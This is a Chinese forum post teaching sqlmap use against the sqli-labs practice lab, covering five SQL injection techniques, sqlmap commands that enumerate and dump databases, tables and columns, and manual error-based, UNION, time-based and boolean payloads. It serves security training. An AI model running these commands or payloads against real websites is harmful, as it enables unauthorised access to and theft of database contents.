SQL注入毛病扫描---sqlmap

打印 上一主题 下一主题

主题 1674|帖子 1674|积分 5022

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
目次

what
支持类型
how---less-1为例
1 检测网站是否存在sql注入毛病的注入点
2.列举可用数据库
 3 列举数据库中的数据表
4 列举数据表中的字段
5 输出目的字段的具体内容


what

SQLMap是一款先进的自动实行SQL注入的审计工具。当给定一个URL时,SQLMap会实行以下操纵:

  • 判断可注入的参数。
  • 判断可以用哪种SQL注入技能来注入。
  • 识别出目的使用哪种数据库。
  • 根据用户的选择,读取哪些数据库中的数据。
更具体语法请参考官方手册---用法 | sqlmap 用户手册 (highlight.ink)
支持类型

sqlmap 可用于检测使用五种差别类型的 SQL 注入。


  • 布尔型盲注(Boolean-based blind):sqlmap 会替换或添加 SQL 语句到 HTTP 请求的查询参数内里,相关的 SQL 语句可能是合法的 SELECT 子查询,也可以是任意用于获取输出数据的 SQL 语句。针对每个注入检测的 HTTP 响应,sqlmap 通过对比原始请求响应的 headers/body,从而逐个字符地推导出注入语句的输出。或者,用户可以预先提供一个字符串或正则表达式,用于对精确页面结果举行匹配。sqlmap 内部实现了二分算法,使得输出中的每一个字符可在最多 7 个 HTTP 请求内被获取。如果请求响应结果不是简朴的明文字符集,sqlmap 会采取更大范围的算法来检测输出。
  • 时间型盲注(Time-based blind):sqlmap 会替换或者添加相关的 SQL 语句到 HTTP 请求的查询参数内里,相关的 SQL 语句可能是合法的、用于使后端 DBMS(Database Management System,数据库管理系统)延迟几秒响应的查询。针对每一个注入检测的 HTTP 响应,通过对 HTTP 响应时间与原始请求之间举行比力,从而逐个字符地推导出注入语句的输出。正如基于布尔型盲注的技能一样,二分算法也会被应用。
  • 报错型注入(Error-based):sqlmap 会替换或者添加用于引发特定命据库错误的 SQL 语句到查询参数内里,并通过剖析对应的注入结果,判断特定的数据库错误信息是否存在响应的 headers/body 中。这项技能只有在 Web 应用设置开启后端 DBMS 错误信息提示才有效。
  • 团结查询注入(UNION query-based):sqlmap 会在查询参数中添加以 UNION ALL SELECT 开头的合法 SQL 语句。当 Web 应用在 for 循环中直接传递 SELECT 语句的查询结果,或采用了类似的方法将查询结果在页面中逐行输出时,这项技能会生效。当查询结果不使用 for 循环举行全部输出而只输出首个结果,sqlmap 还可以或许使用偏(单入口)团结查询 SQL 注入毛病。
  • 堆叠查询注入(Stacked queries),也被称为捎带查询注入(piggy backing):sqlmap 会测试 Web 应用是否支持堆叠查询,如果支持,则在 HTTP 请求的查询参数中添加一个分号(;),并在后面加上注入的 SQL 语句。这项技能不仅适用于实行 SELECT 语句,同样适用于实行数据定义或者数据操纵等 SQL 语句,同时可能可以获取到文件系统的读写权限和系统命令实行权限,不过这很大程度上取决于底层 DBMS 和当前会话用户的权限。
how---less-1为例

sqlmap在kali中自动集成,若要在Windows中使用需要python2.x版本
1 检测网站是否存在sql注入毛病的注入点

sqlmap -u "http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1"(id为)
---最好有个""
(-u 前提是检测参数为GET参数)

结果显示参数id是注入点,有存在多个sql注入毛病,分别是布尔盲注、错误注入、时间盲注、union团结注入
并且返回了该网站基于的数据库类型
我们来验证一下---
错误注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ 
union团结注入
 ?id=100000' union select 1,2,3 --+
 时间盲注

id=1' and if( substr(database(),1,1)='s',sleep(7),0) --+ 
布尔盲注

id=1' and substr(database(),1,1)='s'--+
2.列举可用数据库

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 --dbs

 3 列举数据库中的数据表

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 -D security --tables

4 列举数据表中的字段

?id=1 -D security -T emails --columns

5 输出目的字段的具体内容

?id=1 -D security -T emails -C email_id --dump

注:若字段数不多,4与5可以归并成     ?id=1 -D security -T emails -dump 
效果就是列举该表下的所有字段以及字段的内容,以及对应关系 观察更方便

若字段内容的多少可以用--count检察

若想检察指定行数的字段内容可以 --start(起始条数) --stop(终止条数)
?id=1 -D security -T emails --start 2 --stop 3 --dump






免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

万有斥力

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表